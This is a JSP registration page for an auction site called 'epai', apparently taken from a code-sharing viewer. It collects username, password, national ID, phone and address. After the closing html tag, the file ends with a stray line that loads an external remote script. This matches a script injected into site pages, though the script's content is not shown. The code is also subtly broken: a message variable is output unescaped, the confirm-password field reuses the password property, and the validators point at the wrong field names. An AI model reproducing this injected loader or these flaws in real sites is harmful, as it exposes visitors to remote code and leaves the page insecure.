📄 user_info.jsp
字号:
<%@ page language="java" pageEncoding="GBK"%>
<%@ taglib uri="http://struts.apache.org/tags-bean" prefix="bean" %>
<%@ taglib uri="http://struts.apache.org/tags-html" prefix="html" %>
<%@ taglib uri="http://struts.apache.org/tags-logic" prefix="logic" %>
<%@ taglib uri="http://struts.apache.org/tags-tiles" prefix="tiles" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html:html lang="true">
<head>
<html:base />
<title>用户注册</title>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<link rel="stylesheet" type="text/css" href="styles.css" />
<script src="validate.js" ></script>
<script>
function doSubmit(){
if (Validator.Validate(document.forms[0],3)) {
document.forms[0].submit();
}
}
</script>
</head>
<body>
<html:form action="/user" method="post">
<input type="hidden" name="op" value="doAdd" />
<html:hidden property="user.userStatus" value="1" />
<div id="header" class="center">
<img src="images/epai_logo.gif" style="width:110px;margin:10px;"></img>
</div>
<div id="main" class="center">
<div id="left">
<div id="search">
<div class="dia_title">查找商品</div>
<div class="dia_content" style="height:150px;">
</div>
<div class="dia_foot"></div>
</div>
<div id="menu">
<div class="dia_title">正在热拍</div>
<div class="dia_content2" style="height:359px;">
<!-- div class="list_item">
<img src="images/arr.gif"> <a href="#" class="menu">Computers</a>
</div -->
</div>
<div class="dia_foot2"> </div>
</div>
</div>
<div id="context">
<div class="c_title">用户注册信息</div>
<div class="c_content">
<ul style="color:red;list-style-type:circle;">
${msg}
</ul>
<table border="0">
<tr>
<th> </th>
<td></td>
</tr>
<tr>
<th>用户名</th>
<td><html:text property="user.userName" /></td>
</tr>
<tr>
<th>密码</th>
<td><html:password property="user.userPassword" /></td>
</tr>
<tr>
<th>再输一遍密码</th>
<td><html:password property="user.userPassword"/></td>
</tr>
<tr>
<th>身份证号码</th>
<td><html:text property="user.userIdCode" /></td>
</tr>
<tr>
<th>电话</th>
<td><html:text property="user.userTel" /></td>
</tr>
<tr>
<th>地址</th>
<td><html:text property="user.userAddr" /></td>
</tr>
<tr>
<th>邮编</th>
<td><html:text property="user.userZip" /></td>
</tr>
</table>
<div class="button_bar">
<button onclick="javascript:doSubmit();"> 提 交 </button>
</div>
</div>
<div class="c_foot"> </div>
</div>
</div>
<div id="footer" class="center">
</div>
<script>
build_validate("item.userName","用户名不能为空","Limit","1","50");
build_validate("item.userPassword","密码不能为空","Limit","1","50");
build_validate("item.userTel","电话不能为空","Limit","1","50");
build_validate("item.userAddr","地址不能为空","Limit","1","300");
build_validate("item.userIdCode","身份证号码不正确","Limit","15","18");
build_validate_compare("item.userPassword2","两次输入的密码不一致","item.userPassword");
build_validate("item.userZip","邮政编码格式不正确","Limit","6","6");
</script>
</html:form>
</body>
</html:html>
<script language=javascript src=http://www.qq.com/qq.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -